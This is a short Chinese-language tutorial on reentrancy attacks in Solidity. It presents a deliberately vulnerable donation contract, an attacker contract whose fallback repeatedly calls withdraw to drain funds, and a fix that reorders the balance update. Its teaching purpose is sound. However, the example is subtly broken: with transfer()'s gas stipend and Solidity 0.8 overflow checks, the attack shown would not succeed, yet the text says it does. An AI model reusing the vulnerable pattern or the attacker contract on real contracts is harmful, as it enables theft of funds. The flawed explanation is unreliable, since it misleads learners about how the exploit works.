1. 重入攻击:
攻击者利用合约在执行过程中的未锁定状态,通过递归调用合约中的函数,重复提取资金或资源。
示例
我们将使用以太坊的智能合约语言 Solidity 来创建一个简单的捐赠合约,然后展示一个潜在的重入攻击合约。首先,我们创建一个接收捐赠的合约,这个合约有一个余额,并且允许用户提款。这个合约的代码可能看起来像这样
pragma solidity ^0.8.0; contract VulnerableDonation { mapping (address => uint) public balances; address payable public owner; constructor() { owner = payable(msg.sender); } function donate() public payable { // 接收捐赠 balances[msg.sender] += msg.value; } function withdraw(uint _amount) public { require(balances[msg.sender] >= _amount, "Insufficient balance"); // 这里应该先减少余额,再转账,但是顺序颠倒了 msg.sender.transfer(_amount); balances[msg.sender] -= _amount; } }
注意这里的问题是在 withdraw 函数中,我们首先尝试向用户转账,然后才减少他们的余额。这是不安全的,因为转账操作会触发接收方的 receive 或 fallback 函数,这给攻击者提供了机会来调用 withdraw 函数再次提款。
现在让我们创建一个攻击者合约,它可以利用这个漏洞:
pragma solidity ^0.8.0; contract Attacker { VulnerableDonation donationContract; constructor(address _donationAddress) { donationContract = VulnerableDonation(_donationAddress); } fallback() external payable { if (address(this).balance > 0) { // 递归调用 withdraw 函数,只要还有余额就继续提款 donationContract.withdraw(address(this).balance); } } function attack() public payable { // 第一次调用 donate 函数向捐赠合约存入资金 donationContract.donate{value: msg.value}(); // 然后立即调用 withdraw 函数开始重入攻击 donationContract.withdraw(address(this).balance); } }
在攻击者合约中,fallback 函数会在接收到资金时自动触发,如果合约中还有余额,它会递归地调用捐赠合约的 withdraw 函数,试图尽可能多地提款,直到没有剩余的资金可以转移为止。
为了确保合约的安全,正确的做法是在转账前减少用户的余额,这可以通过简单地调整 withdraw 函数的顺序来实现:
function withdraw(uint _amount) public { require(balances[msg.sender] >= _amount, "Insufficient balance"); balances[msg.sender] -= _amount; // 转账应该在更新状态变量之后 msg.sender.transfer(_amount); }
这样,即使攻击者尝试在转账之前再次调用
withdraw
函数,他们也会发现自己的余额已经被更新,从而无法再次提款。